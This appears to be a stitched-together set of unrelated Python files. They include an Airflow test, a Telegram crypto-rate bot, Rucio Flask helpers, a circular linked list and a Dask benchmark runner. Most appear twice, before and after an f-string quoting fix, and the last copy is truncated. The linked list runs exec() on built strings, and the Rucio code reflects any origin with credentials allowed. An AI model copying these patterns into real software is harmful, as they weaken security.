@mock.patch( "airflow.cli.commands.dag_command.render_dag", **{'return_value.source': "SOURCE"} # type: ignore ) @mock.patch("airflow.cli.commands.dag_command.DebugExecutor") @mock.patch("airflow.cli.commands.dag_command.get_dag") def test_dag_test_show_dag(self, mock_get_dag, mock_executor, mock_render_dag): cli_args = self.parser.parse_args([ 'dags', 'test', 'example_bash_operator', DEFAULT_DATE.isoformat(), '--show-dagrun' ]) with contextlib.redirect_stdout(io.StringIO()) as stdout: dag_command.dag_test(cli_args) output = stdout.getvalue() mock_get_dag.assert_has_calls([ mock.call( subdir=cli_args.subdir, dag_id='example_bash_operator' ), mock.call().clear( start_date=cli_args.execution_date, end_date=cli_args.execution_date, dag_run_state=State.NONE, ), mock.call().run( executor=mock_executor.return_value, start_date=cli_args.execution_date, end_date=cli_args.execution_date ) ]) mock_render_dag.assert_has_calls([ mock.call(mock_get_dag.return_value, tis=[]) ]) self.assertIn("SOURCE", output)
from aiogram import types from .bestChange_requests import getBestChange from aiogram.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton from misc import bot, dp from config import buttonsBestChange, admins @dp.message_handler(lambda message: message.text == "BestChange") async def BestChanges(message: types.Message): if message.from_user.id in admins: keyboard = ReplyKeyboardMarkup(resize_keyboard=True, row_width=4) for button in buttonsBestChange: keyboard.insert("B-"+button) keyboard.add(KeyboardButton("Назад")) await bot.send_message(message.chat.id, "Выберите крипту: ", reply_markup=keyboard) else: await message.answer('У вас нет доступа!') @dp.message_handler(lambda message: message.text.startswith("B-")) async def sendWelcome(message: types.Message): try: await message.answer("Ожидайте...") if message.from_user.id in admins: data = await getBestChange(buttonsBestChange[message.text[2:]]) msg = f"Обменник: <b>{data["name"]}</b>\n" \ f"Отдаете: <b>{data["rate"]}</b>\n" \ f"Резерв: <b>{data["reserve"]}</b>\n" \ f"Отзывы: <b>{data["feedback"]}</b>" keyboard = InlineKeyboardMarkup() keyboard.add(InlineKeyboardButton("Перейти на сайт", data['link'])) keyboard.add(InlineKeyboardButton('Скрыть', callback_data='delMessage')) await bot.send_message(message.from_user.id, msg, reply_markup=keyboard) else: await message.answer('У вас нет доступа!') except Exception as ex: print(ex)
from aiogram import types from .bestChange_requests import getBestChange from aiogram.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton from misc import bot, dp from config import buttonsBestChange, admins @dp.message_handler(lambda message: message.text == "BestChange") async def BestChanges(message: types.Message): if message.from_user.id in admins: keyboard = ReplyKeyboardMarkup(resize_keyboard=True, row_width=4) for button in buttonsBestChange: keyboard.insert("B-"+button) keyboard.add(KeyboardButton("Назад")) await bot.send_message(message.chat.id, "Выберите крипту: ", reply_markup=keyboard) else: await message.answer('У вас нет доступа!') @dp.message_handler(lambda message: message.text.startswith("B-")) async def sendWelcome(message: types.Message): try: await message.answer("Ожидайте...") if message.from_user.id in admins: data = await getBestChange(buttonsBestChange[message.text[2:]]) msg = f"Обменник: <b>{data['name']}</b>\n" \ f"Отдаете: <b>{data['rate']}</b>\n" \ f"Резерв: <b>{data['reserve']}</b>\n" \ f"Отзывы: <b>{data['feedback']}</b>" keyboard = InlineKeyboardMarkup() keyboard.add(InlineKeyboardButton("Перейти на сайт", data['link'])) keyboard.add(InlineKeyboardButton('Скрыть', callback_data='delMessage')) await bot.send_message(message.from_user.id, msg, reply_markup=keyboard) else: await message.answer('У вас нет доступа!') except Exception as ex: print(ex)
# -*- coding: utf-8 -*- # Copyright European Organization for Nuclear Research (CERN) since 2012 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools import json import logging import re from functools import wraps from time import time from typing import TYPE_CHECKING import flask import six from flask.views import MethodView from werkzeug.datastructures import Headers from werkzeug.exceptions import HTTPException from rucio.api.authentication import validate_auth_token from rucio.common.exception import RucioException, CannotAuthenticate, UnsupportedRequestedContentType from rucio.common.schema import get_schema_value from rucio.common.utils import generate_uuid, render_json from rucio.core.vo import map_vo if TYPE_CHECKING: from typing import Optional, Union, Dict, Sequence, Tuple, Callable, Any, List HeadersType = Union[Headers, Dict[str, str], Sequence[Tuple[str, str]]] class ErrorHandlingMethodView(MethodView): """ Special MethodView that handles generic RucioExceptions and more generic Exceptions for all defined methods automatically. """ def get_headers(self) -> "Optional[HeadersType]": """Can be overridden to add headers to generic error responses.""" return None def dispatch_request(self, *args, **kwargs): headers = self.get_headers() or None try: return super(ErrorHandlingMethodView, self).dispatch_request(*args, **kwargs) except HTTPException: raise except RucioException as error: # should be caught in the flask view and generate_http_error_flask with a proper HTTP status code returned msg = f'Uncaught RucioException in {self.__class__.__module__} {self.__class__.__name__} {flask.request.method}' # logged, because this should be the __exception__ logging.debug(msg, exc_info=True) return generate_http_error_flask( status_code=500, exc=error.__class__.__name__, exc_msg=error.args[0], headers=headers ) except Exception as error: # logged, because this means a programming error logging.exception("Internal Error") if headers: return str(error), 500, headers else: return str(error), 500 def request_auth_env(): if flask.request.environ.get('REQUEST_METHOD') == 'OPTIONS': return '', 200 auth_token = flask.request.headers.get('X-Rucio-Auth-Token', default=None) try: auth = validate_auth_token(auth_token) except RucioException as error: return generate_http_error_flask(500, error.__class__.__name__, error.args[0]) except Exception: logging.exception('Internal error in validate_auth_token') return 'Internal Error', 500 if auth is None: return generate_http_error_flask(401, CannotAuthenticate.__name__, 'Cannot authenticate with given credentials') flask.request.environ['vo'] = auth.get('vo', 'def') flask.request.environ['issuer'] = auth.get('account') flask.request.environ['identity'] = auth.get('identity') flask.request.environ['request_id'] = generate_uuid() flask.request.environ['start_time'] = time() def response_headers(response): response.headers['Access-Control-Allow-Origin'] = flask.request.environ.get('HTTP_ORIGIN') response.headers['Access-Control-Allow-Headers'] = flask.request.environ.get('HTTP_ACCESS_CONTROL_REQUEST_HEADERS') response.headers['Access-Control-Allow-Methods'] = '*' response.headers['Access-Control-Allow-Credentials'] = 'true' if flask.request.environ.get('REQUEST_METHOD') == 'GET': response.headers['Cache-Control'] = 'no-cache, no-store, max-age=0, must-revalidate' response.headers['Cache-Control'] = 'post-check=0, pre-check=0' response.headers['Pragma'] = 'no-cache' return response def check_accept_header_wrapper_flask(supported_content_types): """ Decorator to check if an endpoint supports the requested content type. """ def wrapper(f): @wraps(f) def decorated(*args, **kwargs): if not flask.request.accept_mimetypes.provided: # accept anything, if Accept header is not provided return f(*args, **kwargs) for supported in supported_content_types: if supported in flask.request.accept_mimetypes: return f(*args, **kwargs) # none matched.. return generate_http_error_flask( status_code=406, exc=UnsupportedRequestedContentType.__name__, exc_msg=f'The requested content type {flask.request.environ.get('HTTP_ACCEPT')} is not supported. Use {supported_content_types}.' ) return decorated return wrapper def parse_scope_name(scope_name, vo): """ Parses the given scope_name according to the schema's SCOPE_NAME_REGEXP and returns a (scope, name) tuple. :param scope_name: the scope_name string to be parsed. :param vo: the vo currently in use. :raises ValueError: when scope_name could not be parsed. :returns: a (scope, name) tuple. """ # why again does that regex start with a slash? scope_name = re.match(get_schema_value('SCOPE_NAME_REGEXP', vo), '/' + scope_name) if scope_name is None: raise ValueError('cannot parse scope and name') return scope_name.group(1, 2) def try_stream(generator, content_type=None) -> "flask.Response": """ Peeks at the first element of the passed generator and raises an error, if yielding raises. Otherwise returns a flask.Response object. :param generator: a generator function or an iterator. :param content_type: the response's Content-Type. 'application/x-json-stream' by default. :returns: a response object with the specified Content-Type. """ if not content_type: content_type = 'application/x-json-stream' it = iter(generator) try: peek = next(it) return flask.Response(itertools.chain((peek,), it), content_type=content_type) except StopIteration: return flask.Response('', content_type=content_type) def error_headers(exc_cls: str, exc_msg): def strip_newlines(msg): if msg is None: return None elif isinstance(msg, six.binary_type): msg = six.ensure_text(msg, errors='replace') elif not isinstance(msg, six.string_types): # any objects will be converted to their string representation in unicode msg = six.ensure_text(str(msg), errors='replace') return msg.replace('\n', ' ').replace('\r', ' ') exc_msg = strip_newlines(exc_msg) if exc_msg: # Truncate too long exc_msg oldlen = len(exc_msg) exc_msg = exc_msg[:min(oldlen, 125)] if len(exc_msg) != oldlen: exc_msg = exc_msg + '...' return { 'ExceptionClass': strip_newlines(exc_cls), 'ExceptionMessage': exc_msg } def _error_response(exc_cls, exc_msg): data = {'ExceptionClass': exc_cls, 'ExceptionMessage': exc_msg} headers = {'Content-Type': 'application/octet-stream'} headers.update(error_headers(exc_cls=exc_cls, exc_msg=exc_msg)) return data, headers def generate_http_error_flask( status_code: "int", exc: "Union[str, BaseException]", exc_msg: "Optional[str]" = None, headers: "Optional[HeadersType]" = None, ) -> "flask.Response": """Utitily function to generate a complete HTTP error response. :param status_code: The HTTP status code to generate a response for. :param exc: The name of the exception class or a RucioException object. :param exc_msg: The error message. :param headers: any default headers to send along. :returns: a response object representing the error. """ if isinstance(exc, BaseException): if not exc_msg and exc.args and exc.args[0]: exc_msg = exc.args[0] exc_cls = exc.__class__.__name__ else: exc_cls = str(exc) exc_msg = str(exc_msg) data, prioheaders = _error_response(exc_cls, exc_msg) headers = Headers(headers) headers.extend(prioheaders) try: return flask.Response( status=status_code, headers=headers, content_type=prioheaders['Content-Type'], response=render_json(**data), ) except Exception: logging.exception(f'Cannot create generate_http_error_flask response with {data}') raise def json_parameters(json_loads: "Callable[[str], Any]" = json.loads, optional: "bool" = False) -> "Dict": """ Returns the JSON parameters from the current request's body as dict. """ if optional: kwargs = {'default': {}} else: kwargs = {} return json_parse(types=(dict, ), json_loads=json_loads, **kwargs) def json_list(json_loads: "Callable[[str], Any]" = json.loads, optional: "bool" = False) -> "List": """ Returns the JSON array from the current request's body as list. """ if optional: kwargs = {'default': []} else: kwargs = {} return json_parse(types=(list, ), json_loads=json_loads, **kwargs) def json_parse(types: "Tuple", json_loads: "Callable[[str], Any]" = json.loads, **kwargs): def clstostr(cls): if cls.__name__ == "dict": return "dictionary" else: return cls.__name__ def typestostr(_types: "Tuple"): return " or ".join(map(clstostr, _types)) data = flask.request.get_data(as_text=True) if 'default' in kwargs and not data: return kwargs['default'] try: body = json_loads(data) if not isinstance(body, types): flask.abort( generate_http_error_flask( status_code=400, exc=TypeError.__name__, exc_msg='body must be a json ' + typestostr(types) ) ) return body except json.JSONDecodeError: flask.abort( generate_http_error_flask( status_code=400, exc=ValueError.__name__, exc_msg='cannot decode json parameter ' + typestostr(types) ) ) def param_get(parameters: "Dict", name: "str", **kwargs): if 'default' in kwargs: return parameters.get(name, kwargs['default']) else: if name not in parameters: flask.abort( generate_http_error_flask( status_code=400, exc=KeyError.__name__, exc_msg=f"'{name}' not defined" ) ) return parameters[name] def extract_vo(headers: "HeadersType") -> "str": """ Extract the VO name from the given request.headers object and does any name mapping. Returns the short VO name or raise a flask.abort if the VO name doesn't meet the name specification. :papam headers: The request.headers object for the current request. :returns: a string containing the short VO name. """ try: return map_vo(headers.get('X-Rucio-VO', default='def')) except RucioException as err: # VO Name doesn't match allowed spec flask.abort(generate_http_error_flask(status_code=400, exc=err))
# -*- coding: utf-8 -*- # Copyright European Organization for Nuclear Research (CERN) since 2012 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools import json import logging import re from functools import wraps from time import time from typing import TYPE_CHECKING import flask import six from flask.views import MethodView from werkzeug.datastructures import Headers from werkzeug.exceptions import HTTPException from rucio.api.authentication import validate_auth_token from rucio.common.exception import RucioException, CannotAuthenticate, UnsupportedRequestedContentType from rucio.common.schema import get_schema_value from rucio.common.utils import generate_uuid, render_json from rucio.core.vo import map_vo if TYPE_CHECKING: from typing import Optional, Union, Dict, Sequence, Tuple, Callable, Any, List HeadersType = Union[Headers, Dict[str, str], Sequence[Tuple[str, str]]] class ErrorHandlingMethodView(MethodView): """ Special MethodView that handles generic RucioExceptions and more generic Exceptions for all defined methods automatically. """ def get_headers(self) -> "Optional[HeadersType]": """Can be overridden to add headers to generic error responses.""" return None def dispatch_request(self, *args, **kwargs): headers = self.get_headers() or None try: return super(ErrorHandlingMethodView, self).dispatch_request(*args, **kwargs) except HTTPException: raise except RucioException as error: # should be caught in the flask view and generate_http_error_flask with a proper HTTP status code returned msg = f'Uncaught RucioException in {self.__class__.__module__} {self.__class__.__name__} {flask.request.method}' # logged, because this should be the __exception__ logging.debug(msg, exc_info=True) return generate_http_error_flask( status_code=500, exc=error.__class__.__name__, exc_msg=error.args[0], headers=headers ) except Exception as error: # logged, because this means a programming error logging.exception("Internal Error") if headers: return str(error), 500, headers else: return str(error), 500 def request_auth_env(): if flask.request.environ.get('REQUEST_METHOD') == 'OPTIONS': return '', 200 auth_token = flask.request.headers.get('X-Rucio-Auth-Token', default=None) try: auth = validate_auth_token(auth_token) except RucioException as error: return generate_http_error_flask(500, error.__class__.__name__, error.args[0]) except Exception: logging.exception('Internal error in validate_auth_token') return 'Internal Error', 500 if auth is None: return generate_http_error_flask(401, CannotAuthenticate.__name__, 'Cannot authenticate with given credentials') flask.request.environ['vo'] = auth.get('vo', 'def') flask.request.environ['issuer'] = auth.get('account') flask.request.environ['identity'] = auth.get('identity') flask.request.environ['request_id'] = generate_uuid() flask.request.environ['start_time'] = time() def response_headers(response): response.headers['Access-Control-Allow-Origin'] = flask.request.environ.get('HTTP_ORIGIN') response.headers['Access-Control-Allow-Headers'] = flask.request.environ.get('HTTP_ACCESS_CONTROL_REQUEST_HEADERS') response.headers['Access-Control-Allow-Methods'] = '*' response.headers['Access-Control-Allow-Credentials'] = 'true' if flask.request.environ.get('REQUEST_METHOD') == 'GET': response.headers['Cache-Control'] = 'no-cache, no-store, max-age=0, must-revalidate' response.headers['Cache-Control'] = 'post-check=0, pre-check=0' response.headers['Pragma'] = 'no-cache' return response def check_accept_header_wrapper_flask(supported_content_types): """ Decorator to check if an endpoint supports the requested content type. """ def wrapper(f): @wraps(f) def decorated(*args, **kwargs): if not flask.request.accept_mimetypes.provided: # accept anything, if Accept header is not provided return f(*args, **kwargs) for supported in supported_content_types: if supported in flask.request.accept_mimetypes: return f(*args, **kwargs) # none matched.. return generate_http_error_flask( status_code=406, exc=UnsupportedRequestedContentType.__name__, exc_msg=f'The requested content type {flask.request.environ.get("HTTP_ACCEPT")} is not supported. Use {supported_content_types}.' ) return decorated return wrapper def parse_scope_name(scope_name, vo): """ Parses the given scope_name according to the schema's SCOPE_NAME_REGEXP and returns a (scope, name) tuple. :param scope_name: the scope_name string to be parsed. :param vo: the vo currently in use. :raises ValueError: when scope_name could not be parsed. :returns: a (scope, name) tuple. """ # why again does that regex start with a slash? scope_name = re.match(get_schema_value('SCOPE_NAME_REGEXP', vo), '/' + scope_name) if scope_name is None: raise ValueError('cannot parse scope and name') return scope_name.group(1, 2) def try_stream(generator, content_type=None) -> "flask.Response": """ Peeks at the first element of the passed generator and raises an error, if yielding raises. Otherwise returns a flask.Response object. :param generator: a generator function or an iterator. :param content_type: the response's Content-Type. 'application/x-json-stream' by default. :returns: a response object with the specified Content-Type. """ if not content_type: content_type = 'application/x-json-stream' it = iter(generator) try: peek = next(it) return flask.Response(itertools.chain((peek,), it), content_type=content_type) except StopIteration: return flask.Response('', content_type=content_type) def error_headers(exc_cls: str, exc_msg): def strip_newlines(msg): if msg is None: return None elif isinstance(msg, six.binary_type): msg = six.ensure_text(msg, errors='replace') elif not isinstance(msg, six.string_types): # any objects will be converted to their string representation in unicode msg = six.ensure_text(str(msg), errors='replace') return msg.replace('\n', ' ').replace('\r', ' ') exc_msg = strip_newlines(exc_msg) if exc_msg: # Truncate too long exc_msg oldlen = len(exc_msg) exc_msg = exc_msg[:min(oldlen, 125)] if len(exc_msg) != oldlen: exc_msg = exc_msg + '...' return { 'ExceptionClass': strip_newlines(exc_cls), 'ExceptionMessage': exc_msg } def _error_response(exc_cls, exc_msg): data = {'ExceptionClass': exc_cls, 'ExceptionMessage': exc_msg} headers = {'Content-Type': 'application/octet-stream'} headers.update(error_headers(exc_cls=exc_cls, exc_msg=exc_msg)) return data, headers def generate_http_error_flask( status_code: "int", exc: "Union[str, BaseException]", exc_msg: "Optional[str]" = None, headers: "Optional[HeadersType]" = None, ) -> "flask.Response": """Utitily function to generate a complete HTTP error response. :param status_code: The HTTP status code to generate a response for. :param exc: The name of the exception class or a RucioException object. :param exc_msg: The error message. :param headers: any default headers to send along. :returns: a response object representing the error. """ if isinstance(exc, BaseException): if not exc_msg and exc.args and exc.args[0]: exc_msg = exc.args[0] exc_cls = exc.__class__.__name__ else: exc_cls = str(exc) exc_msg = str(exc_msg) data, prioheaders = _error_response(exc_cls, exc_msg) headers = Headers(headers) headers.extend(prioheaders) try: return flask.Response( status=status_code, headers=headers, content_type=prioheaders['Content-Type'], response=render_json(**data), ) except Exception: logging.exception(f'Cannot create generate_http_error_flask response with {data}') raise def json_parameters(json_loads: "Callable[[str], Any]" = json.loads, optional: "bool" = False) -> "Dict": """ Returns the JSON parameters from the current request's body as dict. """ if optional: kwargs = {'default': {}} else: kwargs = {} return json_parse(types=(dict, ), json_loads=json_loads, **kwargs) def json_list(json_loads: "Callable[[str], Any]" = json.loads, optional: "bool" = False) -> "List": """ Returns the JSON array from the current request's body as list. """ if optional: kwargs = {'default': []} else: kwargs = {} return json_parse(types=(list, ), json_loads=json_loads, **kwargs) def json_parse(types: "Tuple", json_loads: "Callable[[str], Any]" = json.loads, **kwargs): def clstostr(cls): if cls.__name__ == "dict": return "dictionary" else: return cls.__name__ def typestostr(_types: "Tuple"): return " or ".join(map(clstostr, _types)) data = flask.request.get_data(as_text=True) if 'default' in kwargs and not data: return kwargs['default'] try: body = json_loads(data) if not isinstance(body, types): flask.abort( generate_http_error_flask( status_code=400, exc=TypeError.__name__, exc_msg='body must be a json ' + typestostr(types) ) ) return body except json.JSONDecodeError: flask.abort( generate_http_error_flask( status_code=400, exc=ValueError.__name__, exc_msg='cannot decode json parameter ' + typestostr(types) ) ) def param_get(parameters: "Dict", name: "str", **kwargs): if 'default' in kwargs: return parameters.get(name, kwargs['default']) else: if name not in parameters: flask.abort( generate_http_error_flask( status_code=400, exc=KeyError.__name__, exc_msg=f"'{name}' not defined" ) ) return parameters[name] def extract_vo(headers: "HeadersType") -> "str": """ Extract the VO name from the given request.headers object and does any name mapping. Returns the short VO name or raise a flask.abort if the VO name doesn't meet the name specification. :papam headers: The request.headers object for the current request. :returns: a string containing the short VO name. """ try: return map_vo(headers.get('X-Rucio-VO', default='def')) except RucioException as err: # VO Name doesn't match allowed spec flask.abort(generate_http_error_flask(status_code=400, exc=err))
class Node: def __init__(self, data=None, next=None): self.data = data self.next = next class CircularLinkedList: def __init__(self): self.head = Node(data='head') self.head.next = self.head self.size = 0 def is_empty(self): '''Checks if the class is empty''' return self.size == 0 def add(self, value): '''Adding value as node object to the class''' node = Node(data=value, next=self.head.next) self.head.next = node self.size += 1 def delete(self, value): '''Delete a node by it's a value''' node = self.head while (node.next.data != node.data): if node.data == value: node.data = node.next.data node.next = node.next.next self.size -= 1 break node = node.next def __len__(self): '''returning the len of the list''' return self.size def __str__(self): '''print's the nodes of the class as string''' if self.is_empty(): return "[]" else: node = self.head output = [] for i in range(self.size+2): exec(f"output.append(str(node{".next"*i}.data))") return '['+', '.join(output)+']' # for testing if __name__ == "__main__": clst = CircularLinkedList() clst.add(1) clst.add(2) clst.add(3) clst.add(4) clst.add(5) clst.add(6) print('The circle \n') print(clst.head.data) print(clst.head.next.data) print(clst.head.next.next.data) print(clst.head.next.next.next.data) print(clst.head.next.next.next.next.data) print(clst.head.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.next.next.data,'\n') print('The len and print output \n') print('len :',len(clst),' list :',clst) clst.delete(6) print('len :',len(clst),' list :',clst) clst.delete(3) print('len :',len(clst),' list :',clst)
class Node: def __init__(self, data=None, next=None): self.data = data self.next = next class CircularLinkedList: def __init__(self): self.head = Node(data='head') self.head.next = self.head self.size = 0 def is_empty(self): '''Checks if the class is empty''' return self.size == 0 def add(self, value): '''Adding value as node object to the class''' node = Node(data=value, next=self.head.next) self.head.next = node self.size += 1 def delete(self, value): '''Delete a node by it's a value''' node = self.head while (node.next.data != node.data): if node.data == value: node.data = node.next.data node.next = node.next.next self.size -= 1 break node = node.next def __len__(self): '''returning the len of the list''' return self.size def __str__(self): '''print's the nodes of the class as string''' if self.is_empty(): return "[]" else: node = self.head output = [] for i in range(self.size+2): exec(f"output.append(str(node{'.next'*i}.data))") return '['+', '.join(output)+']' # for testing if __name__ == "__main__": clst = CircularLinkedList() clst.add(1) clst.add(2) clst.add(3) clst.add(4) clst.add(5) clst.add(6) print('The circle \n') print(clst.head.data) print(clst.head.next.data) print(clst.head.next.next.data) print(clst.head.next.next.next.data) print(clst.head.next.next.next.next.data) print(clst.head.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.next.data) print(clst.head.next.next.next.next.next.next.next.next.next.data,'\n') print('The len and print output \n') print('len :',len(clst),' list :',clst) clst.delete(6) print('len :',len(clst),' list :',clst) clst.delete(3) print('len :',len(clst),' list :',clst)
import datetime import logging import os from contextlib import contextmanager from time import sleep, time import fsspec import pandas as pd from distributed import Client from distributed.utils import format_bytes from fsspec.implementations.local import LocalFileSystem from . import __version__ from .datasets import timeseries from .ops import ( anomaly, climatology, deletefile, get_version, openfile, readfile, spatial_mean, temporal_mean, writefile, ) logger = logging.getLogger() logger.setLevel(level=logging.WARNING) here = os.path.dirname(os.path.abspath(os.path.dirname(__file__))) results_dir = os.path.join(here, 'results') class DiagnosticTimer: def __init__(self): self.diagnostics = [] @contextmanager def time(self, time_name, **kwargs): tic = time() yield toc = time() kwargs[time_name] = toc - tic self.diagnostics.append(kwargs) def dataframe(self): return pd.DataFrame(self.diagnostics) def cluster_wait(client, n_workers): """ Delay process until all workers in the cluster are available. """ start = time() wait_thresh = 600 worker_thresh = n_workers * 0.95 while len(client.cluster.scheduler.workers) < n_workers: sleep(2) elapsed = time() - start # If we are getting close to timeout but cluster is mostly available, # just break out if elapsed > wait_thresh and len(client.cluster.scheduler.workers) >= worker_thresh: break class Runner: def __init__(self, input_file): import yaml try: with open(input_file) as f: self.params = yaml.safe_load(f) except Exception as exc: raise exc self.operations = {} self.operations['computations'] = [spatial_mean, temporal_mean, climatology, anomaly] self.operations['readwrite'] = [writefile, openfile, readfile, deletefile] self.operations['write'] = [writefile] self.operations['read'] = [openfile, readfile] self.client = None def create_cluster(self, job_scheduler, maxcore, walltime, memory, queue, wpn): """ Creates a dask cluster using dask_jobqueue """ logger.warning('Creating a dask cluster using dask_jobqueue') logger.warning(f'Job Scheduler: {job_scheduler}') logger.warning(f'Memory size for each node: {memory}') logger.warning(f'Number of cores for each node: {maxcore}') logger.warning(f'Number of workers for each node: {wpn}') from dask_jobqueue import PBSCluster, SLURMCluster job_schedulers = {'pbs': PBSCluster, 'slurm': SLURMCluster} # Note about OMP_NUM_THREADS=1, --threads 1: # These two lines are to ensure that each benchmark workers # only use one threads for benchmark. # in the job script one sees twice --nthreads, # but it get overwritten by --nthreads 1 cluster = job_schedulers[job_scheduler]( cores=maxcore, memory=memory, processes=wpn, local_directory='$TMPDIR', interface='ib0', queue=queue, walltime=walltime, env_extra=['OMP_NUM_THREADS=1'], extra=['--nthreads 1'], ) self.client = Client(cluster) logger.warning( '************************************\n' 'Job script created by dask_jobqueue:\n' f'{cluster.job_script()}\n' '***************************************' ) logger.warning(f'Dask cluster dashboard_link: {self.client.cluster.dashboard_link}') def run(self): logger.warning('Reading configuration YAML config file') operation_choice = self.params['operation_choice'] machine = self.params['machine'] job_scheduler = self.params['job_scheduler'] queue = self.params['queue'] walltime = self.params['walltime'] maxmemory_per_node = self.params['maxmemory_per_node'] maxcore_per_node = self.params['maxcore_per_node'] chunk_per_worker = self.params['chunk_per_worker'] freq = self.params['freq'] spil = self.params['spil'] output_dir = self.params.get('output_dir', results_dir) now = datetime.datetime.now() output_dir = os.path.join(output_dir, f'{machine}/{str(now.date())}') os.makedirs(output_dir, exist_ok=True) parameters = self.params['parameters'] num_workers = parameters['number_of_workers_per_nodes'] num_threads = parameters.get('number_of_threads_per_workers', 1) num_nodes = parameters['number_of_nodes'] chunking_schemes = parameters['chunking_scheme'] io_formats = parameters['io_format'] filesystems = parameters['filesystem'] fixed_totalsize = parameters['fixed_totalsize'] chsz = parameters['chunk_size'] local_dir = self.params['local_dir'] for wpn in num_workers: self.create_cluster( job_scheduler=job_scheduler, maxcore=maxcore_per_node, walltime=walltime, memory=maxmemory_per_node, queue=queue, wpn=wpn, ) for num in num_nodes: self.client.cluster.scale(num * wpn) cluster_wait(self.client, num * wpn) timer = DiagnosticTimer() logger.warning( '#####################################################################\n' f'Dask cluster:\n' f'\t{self.client.cluster}\n' ) now = datetime.datetime.now() csv_filename = f"{output_dir}/compute_study_{now.strftime("%Y-%m-%d_%H-%M-%S")}.csv" for chunk_size in chsz: for io_format in io_formats: for filesystem in filesystems: if filesystem == 's3': if (io_format == 'netcdf') & ( operation_choice == 'readwrite' or operation_choice == 'write' ): logger.warning( f'### Skipping NetCDF S3 {operation_choice} benchmarking ###\n' ) continue profile = self.params['profile'] bucket = self.params['bucket'] endpoint_url = self.params['endpoint_url'] fs = fsspec.filesystem( 's3', profile=profile, anon=False, client_kwargs={'endpoint_url': endpoint_url}, skip_instance_cache=True, use_listings_cache=True, ) root = f'{bucket}' elif filesystem == 'posix': fs = LocalFileSystem() root = local_dir if not os.path.isdir(f'{root}'): os.makedirs(f'{root}') for chunking_scheme in chunking_schemes: logger.warning( f'Benchmark starting with: \n\tworker_per_node = {wpn},' f'\n\tnum_nodes = {num}, \n\tchunk_size = {chunk_size},' f'\n\tchunking_scheme = {chunking_scheme},' f'\n\tchunk per worker = {chunk_per_worker}' f'\n\tio_format = {io_format}' f'\n\tfilesystem = {filesystem}' ) ds, chunks = timeseries( fixed_totalsize=fixed_totalsize, chunk_per_worker=chunk_per_worker, chunk_size=chunk_size, chunking_scheme=chunking_scheme, io_format=io_format, num_nodes=num, freq=freq, worker_per_node=wpn, ) if (chunking_scheme == 'auto') & (io_format == 'netcdf'): logger.warning( '### NetCDF benchmarking cannot use auto chunking_scheme ###' ) continue dataset_size = format_bytes(ds.nbytes) logger.warning(ds) logger.warning(f'Dataset total size: {dataset_size}') for op in self.operations[operation_choice]: with timer.time( 'runtime', operation=op.__name__, fixed_totalsize=fixed_totalsize, chunk_size=chunk_size, chunk_per_worker=chunk_per_worker, dataset_size=dataset_size, worker_per_node=wpn, threads_per_worker=num_threads, num_nodes=num, chunking_scheme=chunking_scheme, io_format=io_format, filesystem=filesystem, root=root, machine=machine, maxmemory_per_node=maxmemory_per_node, maxcore_per_node=maxcore_per_node, spil=spil, version=__version__, ): fname = f'{chunk_size}{chunking_scheme}{filesystem}{num}' if op.__name__ == 'writefile': filename = op(ds, fs, io_format, root, fname) elif op.__name__ == 'openfile': ds = op(fs, io_format, root, chunks, chunk_size) elif op.__name__ == 'deletefile': ds = op(fs, io_format, root, filename) else: op(ds).persist() # kills ds, and every other dependent computation logger.warning('Computation done') self.client.cancel(ds) temp_df = timer.dataframe() deps_blob, deps_ver = get_version() temp_df[deps_blob] = pd.DataFrame([deps_ver], index=temp_df.index) temp_df.to_csv(csv_filename, index=False) logger.warning(f'Persisted benchmark result file: {csv_filename}') logger.warning( 'Shutting down the client and cluster before changing number of workers per nodes' ) self.client.cluster.close() logger.warning('Cluster shutdown finished') self.client.close() logger.warning('Client shutdown finished') logger.warning('=====> The End <=========')
import datetime import logging import os from contextlib import contextmanager from time import sleep, time import fsspec import pandas as pd from distributed import Client from distributed.utils import format_bytes from fsspec.implementations.local import LocalFileSystem from . import __version__ from .datasets import timeseries from .ops import ( anomaly, climatology, deletefile, get_version, openfile, readfile, spatial_mean, temporal_mean, writefile, ) logger = logging.getLogger() logger.setLevel(level=logging.WARNING) here = os.path.dirname(os.path.abspath(os.path.dirname(__file__))) results_dir = os.path.join(here, 'results') class DiagnosticTimer: def __init__(self): self.diagnostics = [] @contextmanager def time(self, time_name, **kwargs): tic = time() yield toc = time() kwargs[time_name] = toc - tic self.diagnostics.append(kwargs) def dataframe(self): return pd.DataFrame(self.diagnostics) def cluster_wait(client, n_workers): """ Delay process until all workers in the cluster are available. """ start = time() wait_thresh = 600 worker_thresh = n_workers * 0.95 while len(client.cluster.scheduler.workers) < n_workers: sleep(2) elapsed = time() - start # If we are getting close to timeout but cluster is mostly available, # just break out if elapsed > wait_thresh and len(client.cluster.scheduler.workers) >= worker_thresh: break class Runner: def __init__(self, input_file): import yaml try: with open(input_file) as f: self.params = yaml.safe_load(f) except Exception as exc: raise exc self.operations = {} self.operations['computations'] = [spatial_mean, temporal_mean, climatology, anomaly] self.operations['readwrite'] = [writefile, openfile, readfile, deletefile] self.operations['write'] = [writefile] self.operations['read'] = [openfile, readfile] self.client = None def create_cluster(self, job_scheduler, maxcore, walltime, memory, queue, wpn): """ Creates a dask cluster using dask_jobqueue """ logger.warning('Creating a dask cluster using dask_jobqueue') logger.warning(f'Job Scheduler: {job_scheduler}') logger.warning(f'Memory size for each node: {memory}') 